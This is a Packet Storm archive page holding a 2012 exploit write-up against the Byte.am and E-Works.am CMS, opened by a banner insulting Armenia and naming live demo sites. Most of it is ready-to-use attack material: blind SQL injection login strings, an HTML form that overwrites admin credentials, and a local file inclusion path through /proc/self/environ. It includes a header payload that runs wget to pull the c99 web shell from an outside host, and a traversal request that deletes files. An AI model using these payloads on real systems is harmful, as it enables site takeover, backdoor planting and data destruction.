what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Byte.am / E-Works.am CMS SQL Injection / LFI / Shell Upload

Byte.am / E-Works.am CMS SQL Injection / LFI / Shell Upload
Posted Aug 18, 2012
Authored by Worm Man

The CMS from Byte.am and E-Works.am suffers from local file inclusion, remote shell upload, remote SQL injection, and directory traversal vulnerabilities.

tags | exploit, remote, shell, local, vulnerability, sql injection, file inclusion
SHA-256 | 39647f1293dcb49284850dbfbac8c4217c2ccfd771312d3e9b9ea2eb92866176

Byte.am / E-Works.am CMS SQL Injection / LFI / Shell Upload

Change Mirror Download
[+]-------------------------------------------------------------[+]
Azerbaijan Black Hatz Presentzz
0day for bitch Armenia
[-]-------------------------------------------------------------[-]
Exploit title:Byte.am and e-works.am CMS MULTIPLE VULNERABLITIES
Date:18 August 2012
Author: Worm Man
Software Vendor:e-works.am && byte.am
Category:Web
Site admin panel:admin/admin.php
Dork:No dork (See sites portofolio)
Tested on:democms.byte.am
Demos:
democms.byte.am
dhgroup.am
coalition.byte.am

+++++++++++++++++++++++++++++++
Respect to all bro :Z
my first exploit :)
Let'z Start ...
[+].............................................................[+]
Blind sql injection...
Vulnerable code section on login.php
------------------------------------------------------------------------------------------
$query = "SELECT * FROM pass WHERE username = '$username' AND password = '$password'";
$result = mysql_query($query) or die(mysql_error());
$num_rows = mysql_num_rows($result);
------------------------------------------------------------------------------------------
Write for login:' or sleep(20)-- and 2='2
Write for password:anything
When submit this code execute in sql
SELECT * FROM pass WHERE username = '' or sleep(2)-- and 2='2' AND password = 'f0e166dc34d14d6c228ffac576c9a43c'
Wait... True
[-].............................................................[-]
[+].............................................................[+]
CRLF add admin with the help of sql :D
Vulnerable code login.php all
--------------------------------------------------------------------------------------------
<?
function updatePassword ($newusername, $newpsw, $email)
{
$password = md5($newpsw);
$query = "UPDATE pass SET username = '$newusername', password = '$password', email='$email' WHERE id = '1'";
$k = mysql_query($query);
};
require_once ('../include_files/config.php');
$username = $_POST['username'];
$password = md5($_POST['psw']);


$query = "SELECT * FROM pass WHERE username = '$username' AND password = '$password'";
echo $query;
$result = mysql_query($query) or die(mysql_error());
$num_rows = mysql_num_rows($result);

if ($num_rows == 1) {
$_SESSION['LOGIN'] = md5($username.substr($password, 1, 3));
if (isset($_POST[newusername]) && isset($_POST[newpsw]) && isset($_POST[newpsw1]) && $_POST[newusername] != "" && $_POST[newpsw] != "" && $_POST[newpsw1] != "")
{
if ($_POST[newpsw] == $_POST[newpsw1])
{
updatePassword($_POST[newusername], $_POST[newpsw], $_POST[email]);
header("Location: admin.php");
exit();
} else {
header("Location: chengepasw.php");
exit();
};
};
header("Location: main.php");
exit();
} else {
header("Location: admin.php?err=1");
}

?>
--------------------------------------------------------------------------------------------
The script check username and pass from sql.But it has blind sql.We can bypass it eazily :D
And script get + result.$num_rows will == 1 so we change admin information
Here is the html code for CRLF
--------------------------------------------------------------------------------------------
<html>
<body>
<form name="form1" onSubmit="return check()" method="post" action="http://>>Site Name<</admin/login.php?lg=1" >
<table width="400" border="0" align="center" cellpadding="0" cellspacing="20" style="font-size:12px">
<tr>
<td colspan="2" align="right" class="colors"><div align="center" class="style1" ><strong style="font-size:18px">Admin page</strong></div></td>
</tr>
<tr>
<td align="right">E-mail</td>
<td width="188"><input class="form_1" type="text" name="email" style="width:180px;" value="your_email@email.com"></td>
</tr>
<tr>
<td align="right">Old username</td>
<td width="188"><input class="form_1" type="text" name="username" style="width:180px;" value="' or 0=0-- or 1='1"></td>
</tr>
<tr>
<td align="right">Old password(something)</td>
<td><input class="form_1" type="text" name="psw" style="width:180px;" value="anything" ></td>
</tr>
<tr>
<td align="right">New username</td>
<td width="188" ><input class="form_1" type="text" name="newusername" style="width:180px;"></td>
</tr>
<tr>
<td align="right">New password</td>
<td ><input class="form_1" type="password" name="newpsw1" style="width:180px;"></td>
</tr>
<tr>
<td align="right">Confirm password</td>
<td ><input class="form_1" type="password" name="newpsw" style="width:180px;"></td>
</tr>
<tr>
<td align="center" colspan="2"><input type="submit" name="Submit" value="Enter" class="button"></td>
</tr>
</table>

</form>
</body>
</html>
--------------------------------------------------------------------------------------------
[-].............................................................[-]
[+].............................................................[+]
And Shell upload via LFI Directory Traversal
Vulnerable code section in the end of main.php
You can upload your shell if you are admin.And you know how to be admin :D
--------------------------------------------------------------------------------------------
<?
require_once ("header.php");

if (isset($page) && $page != "") {require_once("page_inc/".$page.".php");}

require_once ("futer.php");
?>
--------------------------------------------------------------------------------------------
http://>>Site_Name/admin/main.php?lg=1&page=lg=1&page=/../../%2E%2E/../../proc/fd/../s%65lf/%65nviron/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
Bypassing...
And change your accept-encoding to "<? passthru('wget http://c99.gen.tr/c99.txt -O yeah.php') ?>"
[-].............................................................[-]
[+].............................................................[+]
You can view and delete files via Assets Manager
Only File are seen...
See headerz
Post content
----------------------------------------------------------------------------------------------
POST http://>>Site_Name<</admin/editor/assetmanager/assetmanager.php?ffilter=
Host: >>Site_Name<<
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://>>Site_Name<</admin/editor/assetmanager/assetmanager.php?ffilter=
Cookie: dhtmlgoodies_expandedNodes=%2C0%2C; 458c09681ca533240f6a21e2a95219af=1debe8eaf8e894c869be03fdee73feee; act=main.php; f=N%3B; c=Site Path; __utma=153729195.1535137779.1343289719.1344546638.1344608883.14; __utmz=153729195.1343289719.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __unam=d0b81f2-138c24e7922-5c060fe6-39; PHPSESSID=bd8f8fffa71ab97a63ff5dd05df3e022
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
----------------------------------------------------------------------------------------------
Send Post
inpFileToDelete=&inpCurrFolder=../../../
You will be in public_html
Write to "inpFileToDelete" file path for deleting files
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Respect all hatz
Respect all bro,z
Respect all Azerbaijan hackers
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
/\ |\ | ----|---- -- /\ |---| |\ /| |----- |\ | -- /\
/ \ | \ | | || / \ |---| | \ / | |_____ | \ | | / \
/----\ | \ | | || /----\ |\ | \ / | | | \ | | /----\
/ \ | \| | || / \ | \ | \/ | |----- | \| |/ \
Team...
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close